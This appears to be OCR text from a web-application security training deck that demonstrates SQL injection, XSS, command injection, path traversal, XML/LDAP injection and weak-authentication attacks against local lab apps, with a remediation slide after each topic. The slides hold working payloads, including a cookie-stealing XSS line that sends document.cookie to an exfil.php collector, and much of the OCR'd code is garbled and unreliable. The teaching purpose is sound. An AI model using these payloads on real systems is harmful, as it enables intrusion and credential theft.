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Intro

A Functional testing vs Security testing
A Functional testing i will it break?
A Security testing i how can | benefit from this?

A The right mindset
A Anyone can do it
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Typical Setup

A Web Proxy like Burp Suite or ZAP
A Guidelines/checklist like OWASP Guide v4

o, ~ 2 :

HTTP Server (Web Server)

Proxy
(BURP SUITE)
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Damn Vulnerable Web App (DVWA)

A Access the application on the IP provided by the
virtual web server

ALog i radminipasswordod

AGo to the 0Setup/ Reset DB
OCreate [/ Reset Dat abasebéd

AGo to O6DVWA Securityo6, che

OMedi umoé, 1 f you |1 ke a cl
AYou can come back to 6DVW
security |l evel to Ol mpossi

vulnerability in question should be effectively
remediated.
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Burp Proxy

Aln Firefox 90dAde abh®peibwas |
>0Settingsao

Connection Settings @

Configure Proxies to Access the Internet
Mo proxy
Auto-detect proxy settings for this network
Use system proxy settings
@ Manual proxy configuration:
HTTP Progy: 127001 Port: 8080 =

| Use this proxy server for all protocols

S5L Proxy: |127.0.01 Port: | 8080
FTP Proxy: Port: | 8080
SOCKS Host: Port: | 8080f
SOCKS w5 Remote DNS
Mo Proxy for:
localhost, 127.00.1
Example: .mozilla.org, .net.nz, 192.168.1.0/24
Automatic proxy configuration URL:
Reload
Do not prompt for authentication if password is saved
[ QK l | Cancel | | Help |
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Burp Proxy

Aln Burp go to the O6Proxybd
section. Configure a proxy listener:

_ ‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]
‘ Add a new proxy listener

J Binding T Request handling T Certificate ]

Burp Intruder Repeater Window Help

[Tﬁrget Proxy | Spider | Scanner Tlntruder T Repeater TSEquencer TDecuder T Comparer TExtender Tpmm options T User options TAIerLs

[ Intercept I HTTP history T ‘WebSockets history I Options 1

7| These settings control how Burp binds the proxy listener.
2 ]
) Burp Proxy uses listeners fo receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server,
Bind to port; 8080 L))
| Add | |Rumning | interface | Invisible | Redirect Certificats
Bind to address: (@ Loopback only = | @ 127.0.0.1:8080 =] Per-host
I Allinterfaces
_ Remove |
O Specific address: | 10.122.148.136 'J

Each instaliation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or
another installation of Burp.

L Import / export CA certificats | L Regenerate CA certificate |
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Injection flaws

A SQL injection

A SQL injection (Blind)

A Cross-site Scripting (reflected)

A Cross-site Scripting (stored)

A OS command

A Others to be mentioned: XML, LDAP
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SQL Injection

A User-controlled input that enables the attacker to
l nteract with t headdatabase | c al
(DB) in non-intended ways.

A This could lead to user account compromise,
extraction of sensitive data or denial of service.

A Common causes:
I Lack of validation and sanitization
I No prepared statements (bind queries) used
I Principle of least privilege not applied

A Examples in code:
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SQL Injection - Examples

$username =$ POST['username';

$query=fi S E L*HROM Users WHERE username
= $usernamed ; A ;

S$username=inBobo:

$query=ASELECT * FROM User :
username=0Bobd: o:

Sfusername=ADBB= 11101918

$query=i SELECT * FROM Usert
usernamé=ABBH6111DI Dt 8
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SQL Injection - Examples

€ 127.0.0.1:1337/sqli.ph

Authentication successful!
Authenticated as: Bob

Login: ob' AND DoB='11111918

Submit

Authentication successfull
Authenticated as: Bob
Logimn:

& 127.0.01:1337/sqli.php
Login: Bob| Submit
= 127.0.0.1:1337/5qli.php

Submit
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€ 127.0.0.1:1337/sqli.php

Authentication failed!
Login:

Submit




SQL Injection T Authentication Bypass

S$username=%_ POST[ Ouser name
$password=%$ POST[O6passwor c

$quer y=ASELECT * FROM wuser
username=6%usernamed AND pec¢

Susername=>D0MBobser naome =0 Al i c

$quer y=ARSELECT * FROM user s
usernamé=0Bobser nadmedc=0 Al | C ¢
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SQL Injection T Authentication Bypass

T
€ 1270.0.1:1337/sqli2.php “ 127.00.1:1337/sqli2.php € 127.0.0.1:1337/5qli2
Login: Bob sesenene Submit Login: Bob' or 'Alice'# Submit Authentication successful!
Authenticated as: Bob
Login: Alice'# Submit
€ PF 127.0.0.1:1337/sqli2.php € 127.00.1:1337/5qli2.php o 127.0.0.1:1337/sqli2.php

Authentication successful!
Authenticated as: Bob
Login:

Submit
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Authentication successful!
Authenticated as: Bob
Login:

Submit

Authentication successful!
Authenticated as: Alice
Login:

Submit




SQL Injection T Data Theft

$company=%$ POST[6companyo6];

$quer y=i SdnkBsthame,DoB FROM usersWHERE
company=0%$companyo; O0;
$company=fAdcdbBhONr 8ELECT password |
WHERE ®16=01

$qguer y=f néntelagir@me,DoB FROM users WHERE
company=0A/Ac ddNiHtONr & ELECT password F
0 1 @@= @l

A The query above will fail. Why? Count the columns.

$company=Accenture6 UNI ON &, bult,gagsword FROM users
WHERE ®l1 6 =01

$qguer y=f néntelagir@me,DoB FROM users WHERE
company = é Ac dJNd tOWNr éall,hult,ia3sword FROM users
WHERE &1 @501
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SQL Injection T Data Theft

] 127.0.01:1337/=qli3.php

Submit

Search name: Bob|

€ > 127.0.01:1337/5qli3.php

Search name: password FROM users# | Submit

€ 127.0.01:1337/5qli3.php

Search name: CT null,null,password FI | Submit

&= 127.00.1:1337/sqli3.php

Submit

Search name:

Name: DoB: Company:

Bob 18111918 Accenture

& 127.0.0.1:1337/5qli3.php

Submit

Search name:

Something went wrong with the query.
No users found!
Name: DoB: Company:

L] 127.0.01:1337/5qli3.php

Search name: 3ob' OR DoB='11111918 | Submit

L3 127.0.0.1:1337/sql3.php

Submit

Search name:

Name: DoB: Company:
Bob 18111918 Accenture
Mallory 11111918 IBM
Eve 11111918 IBM
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& 127.0.0.1:1337/sqli3.php

Submit

Search name:

Name: DoB: Company:
Bob 18111918 Accenture
password

passwordl




SQL Injection - Blind

A Uses true and false statement outcomes
e.g. true=>successful query; false=>error message
A Retrieve information about data
e. g. |l s the first characte
A Very slow data theft
A$DoB=111811HB1 AND passwod;d LI K

$quer y=ASELECT * FROM wuser
DoB=0181D1 AN® passwobr;do LI KE
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SQL Injection - Blind

=

€ 127.0.0.1:1337/sqlid.php € 127.00.1:1337/sqlid.php & 127.00.1:1337/sqlid.php

Search name: Bob| Submit Search name: Bob' AND '1'="1 Submit Search name: Bob' AND '1'="2 Submit

No users found!

Name: DoB: Company: Name: DoB: Company: Name: DoB: Company:
Bob 18111918 Accenture Bob 18111918 Accenture

€ 127.001:1337/=qli4.php & 127.0.01:1337/5qid.php € 127.00.1:1337/sqlid.php
Search name: ' AND password like 'a%| | Submit Search name: ' AND password like 'p% | Submit Search name: 4ND password like 'pa% | Submit

No users found!
Name: DoB: Company: Name: DoB: Company: Name: DoB: Company:

Bob 18111918 Accenture Bob 18111918 Accenture
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SQL Injection i Second Order

A Execute a query when the injected value is used in
future queries.

A$query:ﬁ|NSERT | NTO users
(c’)$name6),
$name=GBob

uery2=nUPDATE wusers SET

word=0%passwordod WHERE

S

s w oalddpaséviordd ; O
a meBdbo o
u
S
S

e rUPRAT B users SET

word=0%passwordBeAVMEHERE
w oalddpassviordg o
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SQL Injection i Second Order

€ 127.001:13

Add vser: Roger Submit

€« > 127.0.0.1:1337/5qlid.php

Add user: Samantha| Submit

i

Edit %z Copy @ Delete Samantha  password2

Samantha

NULL NULL 14

€ 1270.01:1337/sqlid.php

User added successfully!

Change password: password Submit
. 127.0.0 11337 /sqlid.php

Something went wrong with the query.

Change password:

Submit

&7 Edit % Copy @ Delete Roger password2 Roger NULL NULL 12
& 127.0.01:1337/5q)id.php
User added successfully!
Change password: sesssssse password Submit
€ F 127.0.0.1:1337/sqli4.php
Roger's password changed!
Add user Submit
Edit ¥ Copy @ Delete Roger password Roger NULL NULL 12

&
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Edit ¥¢ Copy @ Delete Samantha  password2

o

Samantha

NULL  NULL 14 |




SQL Injection i Second Order

AL L L aa Rl pRp
€ 127.0.0.1:1337/sqlid.php

Add user: Samantha'#|

[ o Edit #c Copy @ Delete Samantha  password2  Samantha NULL NULL 14
] & Edit ¥c Copy @ Delete Samantha'® password2  Samantha® NULL NULL 19
(-_ 127.0.0.1:1337/sqlid.php
User added successfully!
Change password: 123
(-_ 127.0.01:1337/sqlid.php
Samantha'#'s password changed!
Add user:
/ \
[ o Edit % Copy @ Deletal Samantha 123 Samantha NULL NULL 14
[ « Edit #c Copy @ Delete Samantha# password2 Samantha# NULL NULL 19
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SQL Injection i Second Order

lif tisset(E_FOST:‘s:b:;:':]]

#Use prepared statement h
Z3tmt = SdbZ->prepare ("3
fatmt—>bindValue (" :name’

fztmt-r»execute () ;

I if (Sstmt->rowCount ()<l)
#0se prepared statement
Sstmt = SdbZ->prepare ("1
S£ztmt->bindValue (" :name
fztmt-rexecute () ;
I if ($stmt->rowCount ()<1l)

m

}™) or die("Cannot prepar

echo "Something went Wwrono th the mer = L
1 elseif iissetiS_PDST:‘:ha:;e‘:]J i
I if iissetiE_PDST:‘:;ﬁ password']) ) {

o~

$o0ld _pass=%_ POST['old passw
else {
fold pass="";

Squery="UPDL users S5ET password='Spassword' W :are='“.s_5ESSIDN:'Ase::a"a ]."" AND password
Sres=mysqgl ¢uery (Squery, Sdb);
fsuccess=mysgl affected rows(%db):
I if ($success<l)
echo "Something went wrong with the gquerv.<br />";

I='50ld pass"'";
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Remediation

A Validate and sanitise all external data, rejecting alll
Inputs that do not comply with the format of expected
data. Use a web development framework for
validation and sanitisation.

A Use prepared statements and parametrized queries
to communicate with the back-end DB.

A Make sure the application accesses the DB with as
little privilege as is absolutely necessary to make the
application work.
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Cross-Site Scripting (XSS)

AExecute arbitrary JavaScr |
browser as if it is a part of the application.

A The attack enables website defacement, malware
distribution, session hijacking, compromise of
credentials and sensitive data.

A Common causes

I Lack of input validation and sanitization
I Lack of encoding of dynamic output

I CORS misconfiguration

I Cookie misconfiguration

A Examples in Code:
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XSS - Examples

A <form method="POST" action="xss.php"
Id="myform"><input name="yourname" />

<input type="submit" value="Submit" />
<form>

<?php

If (isset($_POST['yourname')))

{

echo "<p>Greetings, ".$_POST['yourname'l." II";

}

?>
A$ POSdufndmed ] =fi<scri pt>alert (6
<p>Greetings,<scr i pt>al er tll<pxXSS0) </
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XSS - Examples

Q',;:' (D) | 127.00.1:1327/xss.php Q-,:iu (@ | 127.001:1337fxss.php
Annal | Submit | it=alert(™S5")</script> | Submit

Q-,j () | 127.00.1:1337 /xss.php
Submit |

((;jn (D) 127.001:1337 fuss.php

Greetings, Anna !!
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XSS1 Stealing Cookies

A <script>alert(document.domain)</script>
A <script>alert(document.cookie)</script>
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XSS - Exfiltration

A <script>document.createElement(img’).setAttribute(
src','nttp://127.0.0.1:1337/exfil.php?cookie='+docume
nt.cookie)</script>

A <?php

If isset($ _GET['cookie') {
$myfile = fopen("cookiefile.txt", "w");
fwrite($myfile, $ GET['cookie']);
fclose($myfile);

}

?>
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XSS - Exfiltration

A The source of the image could be a third-party site
attacker os contr

under

a n

& 127.0.0.1:1337 xss.php

ument.createElement('in | Submit

Name

_ cookiefile.bd
L | exfil.php
L | xss.php

Date modified

7/25/2016 4:19 PM
7/25/2016 4:16 PM
7/25/2016 3:18 PM

Type

Text Document

PHP File
PHP File
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File Edit Format View Help

secretsessionToken=UseThisToAccessBankDetails

(



XSS - Exfiltration

A Note that the user is not alerted that their cookie has
been sent offsite )0 wosismrmpn

Submit

Greetings, !!

Alf a OGETO6 request i s use:q
f or mxsephpdg a user can be s
page that contains the crafted payload.

A Further obfuscation and stealth technigues, such as
encoding, can be used to disguise XSS payloads in
URLS

AEven if a OPOSTO request i
possible.
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XSS 1 Stored/Persistent

A The XSS payload is stored in the DB and is executed
every time someone Vvisits a page where the data is
used.

I (o remli
E\(- ) (0 |1270.01:1337/5qlid.php '-\(_' ) () 127.00.1:1337/5qlid.php
- - [ - ] User added successfully!
Add user: |ptbalert[123)<,"scr|pt>| Sl Change password: sessesesee 123 Submit
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Remediation

A Validate and sanitize all external input, rejecting
everything that doesnot f |
data. Modern frameworks take care of this in a
consistent way.

A Encode all dynamic output to all application pages to
prevent the browser from executing any HTML or
JavaScript within. Modern frameworks take care of
this in a consistent way.

A Configure cookies and session tokens to be
dHttpOnlyo .
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Command Injection

A Execution of arbitrary shell/system commands on the
application host.

A The attack can have dire consequences, including
denial of service, compromise of the application host,
the back end database and potentially other hosts on
the adjacent network.

A Common causes:

I Lack of input validation

I Lazy programming

I Applications running with high privileges on the host
A Examples:
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Command Injection - Examples

& 127.0.0.1:1337/cmd.php & 127.0.01:1337/emd.php

Get file: Submit
Get file: test.tut Submit stiie lﬂ

This 1s a legitimate test document

Thi=s is a legitimate test document

75 127.00.1:1337/cmd.php

Get file: tet.txt && ipconfig| Submit

This 1s a legitumate test document

This is a legitimate test document

s 127.0.01:1337/cmd.php c Search v B 9 3+ A/ O - @~
Get file:

This 1s a legitimate test document Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80:25¢cb:436£:360a:2ef4%11 [Pv4 Address. ... ... ... .
10.122.148.142 Subnet Mask . ... ... ... 255.255.255.0 Default Gateway - 10.122.148.1 Ethernet adapter VMware Network Adapter VMnet1: Connection-specific DNS Suffix . : Link-local [Pv6 Address
feB0::9119-ee76:a345:933a%17 IPv4 Address ©192.168.189.1 Subnet Mask . .. ... ... 255.255.255.0 Default Gateway - Ethernet adapter VMware Network Adapter VMnet8: Connection-specific DNS Suffix . :
Link-local [Pv6 Address - fe80::d00e:3a77-9173 - befc?%]18 IPv4 Address. ... ... 21921681271 Subnet Mask . ... ... :255.2552550 Default Gateway .. .. .. .. - Tunnel adapter 1satap {AS1CT9FE-
6C67-4BD4-9110-8201D08B6859}: Media State . .. .. ... ... : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter 1satap. {072F1DF8-ED6D-40FB-AD45-E977FE6884B3}: Media State . . ... .. .. .. : Media disconnected
Connection-specific DNS Suffix . : Tunnel adapter isatap. {98563140-35FD-4283-AF81-575AA253C815}: Media State . . .. ... ... .: Media disconnected Connection-specific DNS Suffix . :

Connection-specific DNS Suffix

5
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Command Injection T Path Traversal

A Traversing directories in the file system to access
system files not intended for access by the

application.

= 127.0.01:1337/cmd.php

et file: test.bd | Submit

This 1s a legitimate test document

This i= a legitimate test documen
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& 127.0.0.1:1337/cmd.php
Get file: ..\..\temp\secret.tdt Submit
& 127.0.0.1:1337/cmd.php
Get file: | Submit |

This 1s a file containing confidential information.

Thi=s i=s a file containing confidential information.




Remediation

A Use safe functionality to interact with the application
host, e.g. use file system APIs to read and write
documents or files.

A Sanitise user input, rejecting anything that does not
adhere to the expected format.

A Ensure that the application does not have excessive
orivileges on the web server.

A Have a robust permissions model on the application
nost to ensure that the application cannot access
system files.
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Other Types of Injection

A XML

I Xpath Injections T Xpath is used to query XML documents; injecting
xpath expressions is conceptually similar to SQL injections; and
parametrized interfaces are available for remediation

Employee[UserName/ t e x t (oJ I=Ddr 'e'sat And
Password/text()=0test ']

I Entity expansions 7 denial of service oriented attacks that use
recursive references to external entities to be processed by XML
parsers:

<IDOCTYPEfoobar[<! ENTI TY x " AAAAAé [ 100KB
AAAA">]>

<root>

<hi>& x ; &x ; . [ 30000 odghi>t hem] ¢é &x; &x;
</root>

I Common causes:
A Misconfigured XML parsers
A Lack of user input validation/sanitisation
A Misconfigured access permissions on the application host
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Other Types of Injection

A LDAP i Lightweight Directory Access Protocol

I Applications that interact with LDAP to provide access
control or retrieve data may be susceptible to
malicious modifications of LDAP statements

I LDAP statements are essentially a query language,
therefore attacks are conceptually similar to SQL
Injection

Af ( us-euserName.Text+fi ) ; 0
A userName.Text=Marley, Bob
A userName.Text=Marley, Bob)(|(objectclass=*

I Common causes:
A Lack of validation/sanitisation
A Excessive application privileges on the LDAP directory
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Exercises

A Damn Vulnerable Web App
I SQL Injection
I XSS Reflected
I Command Injection
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Authentication Issues

A Weak Credentials
A Bad Password Recovery System
A Login Page Issues
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Weak Credentials

A Weak password requirements i Users will choose to
set weaker passwords, if allowed

A Policy enforced on client side only

A Predictable usernames and passwords, such as
Incremental ID based usernames and dictionary
passwords

A Strong password policy example i 8 characters
minimum length; no or high upper limit; mix of at
least 3 different types of characters 1 uppercase,
lowercase, numeric and ideally special characters;
no common/guessable words; not the same as
username; password history of at least 10 cycles
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Weak Credentials i Client-side Validation

A Test:test

<« C' | [1 127.0.0.1:1337 /weak-creds.php

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

Username: [Test Password: [sees Submit
Home
€« C' | [§ 127.0.0.1:1337 /weak-creds.php

The password must be at least 8 characters long and contain at least one numeric ch  15700.1:1337 says:
Passwaod does not match policy

Prevent this page from creating additional dialogs.

Add user:
Usemame: Test Password: [sess

Home
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Weak Credentials i Client-side Validation

A Test:testtest

<« C' | [0 127.0.0.1:1337/weak-creds.php
The password must be at least 8 characters long and contain at least one numericch 1570011337 says:

Passwod does not match policy

Username: Test Password: [sereeees Submit

Home

Add user: . ! » .
Prevent this page from creating additional dialogs.

A Test:testtestl

€« F 127.0.0.1:1337/weak-creds.php

User added successfully!

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

Username: Password: Submit

Home
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Weak Credentials i C

lent-side Validation

€ 127.0.01:1337 /wea

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

(Username: Test2 Password: sssssssse

Submit

Home i Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extende

J Intercept T HTTP history TWeDSuckam history T Options ]

f ]
Intercept is on

Raw Params Headers Hex

‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

Target Spider | Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer I Extender I Project optio

J T HTTP history I WebSockets history T Options 1

Lf| Request to http://127.0.0.1:1337

| Intercept is on | Action |

l Forward \ L Drop |

Raw | Params | Headers | Hex

POST /weak-creds.php HITB/L. 1
Host: 127.0.0.1:1337

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:47.0) Gecko/20100101 Firefox/47.0
hecept: text/heul,applicacion/sheml+xnl, application/uml;gq=0.9,*/*;q=0.8

hecepo-Language: en-US,en;iq=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:1337/weak-creds.php

Cookie: SecretSessionToken=UseThisTohccessEankDetails; PHPSESSID=jrmshghbripoualgfngb434ial

Connection: close
Content-Type: application/x—wiv-form-urlencoded
Content-Length: 43

name=TestZapassword=testtestlasubmit=Submit

‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

[oreet |

I Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project option

_[ I HTTP history T WebSockets history I Options ]

|ﬁ| Request to hitp//127.0.0.1:1337

| Intercept is on | Action |

l Forward | l Drop |

_[ Raw T Params I Headers | Hex

POST fweak-creds._php HTTP/1.1
Host: 127.0.0.1:1337

Accept: text/html, application/xhtmltxml, application/xml;q=0_9, */*;g=0_8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Beferer: http://127.0.0.1:1337/wealk-creds._ php

Connection: close
Content-Type: application/x-www—form-urlencoded

Content-Length: 43

name=Testlipassword=cestisubnit=Subnit

User-Agent: Mozilla/E.0 (Windows NT £.1; WOW&4; rv:47.0) Geckos/Z0Ll00101 Firefox/47.0

Coockie: SecretfSessionToken=UseThisToAccessBEankDetails; PHPSESSID=jrmshoghbrSpoualgfmel434ial

€ 127.0.0.1:1337 /weak-«

o

User added successfully!

Add user:

Usemname: Password:

Home

The password must be at least § characters long and contain at least one numeric character!

@ Delete Test2

test Test?2 NULL

NULL 25
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Weak Credentials i Server-side Validation

A Note the logic weakness i a password that only
contains numbers would pass the validation check

Hif (isset (s POST['password'])) |
épasaword=%_ POST['password'];
H if (strlen($password)>=t =& preg match('~[0-5]~', Spagaword)===1) |
spaggword valid=true:

i 1

Hif (isset(s_POST['submit'])) {

tatmt = &£db2->prepare ("SELECT * FROM users WHERE username=:name™) or die("Cannot prepare statement.”):
satmt->bindValue (' :name', Sname);

Satmt->execute {) ;

f |iE {($stmt->rowCount ()<l =& $passwcrd_valid]|{

i TTT

S$atmt = S$db2->prepare ("INSERT INTO Users(username,name,password) VALUES (:name, :name, :password) ™) or die("Cannct prepare statement.™);
- 1 L e
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Weak Credentials i Server-side Validation

_[ Raw T Params T Headers T Hex ]

[ Raw I Headers T Hex T HTKML T Render }

User-Agent: Mozilla/s5. 0 (Windows NT &.1; WOWe4; rv:-47.0)
Gecko/Z0100101 Firefox/47.0

Aocept:

text/htnl, application/xhtml+txml] , application/xml;gq=0.9, */*;q=0_8
Aocept-Lancuage: en-US, en;g=0_5

Accept-Encoding: gsip, deflate

Referer: http://127.0.0_.1:1337/weak-creds_php

Cookie: SecretfessionToken=UseThisToAccessBankDetails;
PHPEESSID=rmshghbripoual gfmgh434ial3

Commection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

name=TestIEpassword=passwordlgsubmit=Submit

POST fweak-creds.php HTITP/1.1 A
Host: 127.0.0.L1:1337 - Canmot add
User-Agent: Mozilla/5.0 (Windows NT &.1; WOW&4; rv-47.0)
Gecko/ZDIO0LOL Firefox/47.0 The password must be at least 8 characters long and contain at least one
Accept: .
numeric character!
text/htnl , application/xhtwmltm]  application/mml ;gq=0_5 *%/*;g=0_8
Accept-Language: en-US, en;qgq=0_5
Accept-Encoding: gzip, deflate
Beferer: http://127.0.0.1:1337/weak-creds.php Add user:
Cookie: SecretSessionToken=UseThisToAccessBankDetails;
PHPSESSID=9rmshghbripoual gfugh434ia3 Username: Password: Submit
Connection: close Home
Content-Type: application/x-www-form-urlencoded _—
Content-Length: 37
name=Test35LﬂJmit=SuJ:mit
J Raw I Params I Headers [ Hex ] [ Raw I Headers I Hex I HTML I Render ]
POST fweak-creds.php HTTPS1l.1 "
Host: 177.0.0.1-1337 - |Use1' added successfu]ly!l

The password must be at least 8 characters long and contain at least one
numeric character!

Add user:
Username; Password; |_ Submit |
Hoime
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Password Recovery

A Weak authentication i the application does not ask for
enough details to verify the legitimacy of the reset
requestor

A Insecure delivery method i the application returns the
user 0s pas s waomrsehdsaot m plaintext evem
emalil

A Logic bypass i some stages of the recovery process can
be bypassed; for example by browsing to the success
page and skipping the security gquestions

A Security question guessing or brute-force i Remember
why adding your mother and your dog on Facebook was
a bad idea?

A Password recovery link/token weaknesses i predictable,
easy to brute-force, reusable
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Login

A
A

A

Username enumeration i authentication error message
reveals, whether the username or the password were incorrect

No brute-force protection T an attacker can guess the
password an unlimited number of times or configure an
automated brute-force attack

Account lockout response i a lockout response after several
unsuccessful attempts reveals whether the username is
registered with the application, as no lockout response occurs
for a non-existent username; furthermore, a lockout response
can reveal the duration of the lockout, allowing to configure a
delayed automatic attack

Account lockout denial of service i an attacker can remotely
cause for user accounts to be locked out. If the accounts do
not automatically re-activate, victim users cannot access the
application
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Username Enumeration

€ 127.0.0.1:1337/user-enum.php 6 127.0.0.1:1337 /user-enum.php

Login: Login:

Username: incorrect_username Password: sesssses Username: Test2 Password: eesessee
Home Home

& ﬁ' 127.001:1337 fuser-enum.php € " 127.0.01:1337/user-enum.php

The user does not exist.
Login:

Username: Password:

Home

The password 1s incorrect.
Login:

Username: Password:

Home

3] P 127.0.0.1:1337/user-enum.php

Login successful!
Logmn:

Username: Test2 Password: eees

Home
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Remediation

A Careful and thoughtful design of authentication and
password recovery mechanisms with security in
mind.

A Enforcing rules and policies on the server side.

A Using generic non-descriptive messages, such as
Aaut hentication failedo.

A Using secure password delivery methods or use of
temporary passwords.
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Exercises

A Damn Vulnerable Web App
I Brute Force
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Exercises T Brute Force

=

l Intruder attack - C:\Users\alise.silde\Documents\Conferences\TAPOST\burp-dvwa-bruteforce
Aftack Save Columns

Results | Target | Positions. T Payloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for
full details.

Attack type: | Cluster bomb

GET /vulnerabilities/brute/lusername=§testSsipassword=§test§slogin=Login HTTP/1l.1

A
Host: 10.12Z2.148.7Z2 - Add §
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:47.0) Gecko/Z010010l1 Firefox/47.0
Accept: text/html, application/xhtmltxml, application/xml;q=0.9, */*;q=0.8 Clear §
Accept-Langquage: en-US,en;q=0.5 S
Accept-Encoding: gzip, deflate Auto § I
Peferer: http://10.122.148. 72/vulnerabilities/brute/
Cookie: PHPSESSID=1lh453luptulvec350aeTmv58r4; security=medium Refresh
Connection: close
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Exercises T Brute Force
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